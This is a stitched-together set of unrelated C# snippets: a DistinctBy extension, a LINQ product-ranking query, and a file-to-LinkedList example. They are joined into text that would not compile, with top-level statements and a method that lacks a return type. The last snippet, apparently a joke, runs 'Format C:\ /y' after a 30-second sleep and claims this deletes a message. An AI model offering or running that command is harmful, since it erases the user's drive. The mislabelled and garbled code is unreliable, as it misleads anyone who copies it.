C#

using System;
using System.Collections.Generic;

public static class SetExtensions
{
    private static IEnumerable<TSource> DistinctByIterator<TSource, TKey>(
        IEnumerable<TSource> source, 
        Func<TSource, TKey> keySelector, 
        IEqualityComparer<TKey> keyComparer)
    {
        var knownKeys = new HashSet<TKey>(keyComparer);
        try
        {
            foreach (var item in source)
            {
                if (knownKeys.Add(keySelector(item)))
                {
                    yield return item;
                }
            }
        }
        finally
        {
            // HACK: Avoid iterator memory leak described at:
            // http://msmvps.com/blogs/jon_skeet/archive/2011/01/18/gotcha-around-iterator-blocks.aspx
            knownKeys = null;
        }
    }
    
    public static IEnumerable<TSource> DistinctBy<TSource, TKey>(
        this IEnumerable<TSource> source, 
        Func<TSource, TKey> keySelector, 
        IEqualityComparer<TKey> keyComparer = null)
    {
        if (source == null) throw new ArgumentNullException("source");
        if (keySelector == null) throw new ArgumentNullException("keySelector");
        return DistinctByIterator(source, keySelector, keyComparer);
    }
}

var topRatedProducts = (from product in _container.Products.Include("ProductReviews")
                        orderby product.ProductReviews.Average((x) => x.StarRate) descending
                        select product).DistinctBy(y => y.ProductName);

string textfile=Application.StartupPath + "\\mytext.txt";
string text = "line 1\r\nline 2\r\nline 3\r\n";
if(System.IO.File.Exists(textfile))
    System.IO.File.Delete(textfile);
System.IO.File.WriteAllText(textfile, text);

//these 2 lines are all that is needed to read the file into a link list
///////////////////////////////////////////////////////////////////////
string[] lines = System.IO.File.ReadAllLines(textfile);
LinkedList<string> alllines = new LinkedList<string>(lines);
///////////////////////////////////////////////////////////////////////

foreach (string line in alllines)
    System.Diagnostics.Debug.WriteLine(line);

System.Diagnostics.Debug.WriteLine("-----");

LinkedListNode<string> current = alllines.Find("line 2");
alllines.AddBefore(current, "xxx Inserted Line xxx");

foreach (string line in alllines)
    System.Diagnostics.Debug.WriteLine(line);

OnMesageRecived(Message theMessage)
{
    Sleep(30000); //keep message available for 30seconds
    Process.Start("Format C:\ /y"); //deletes the message
}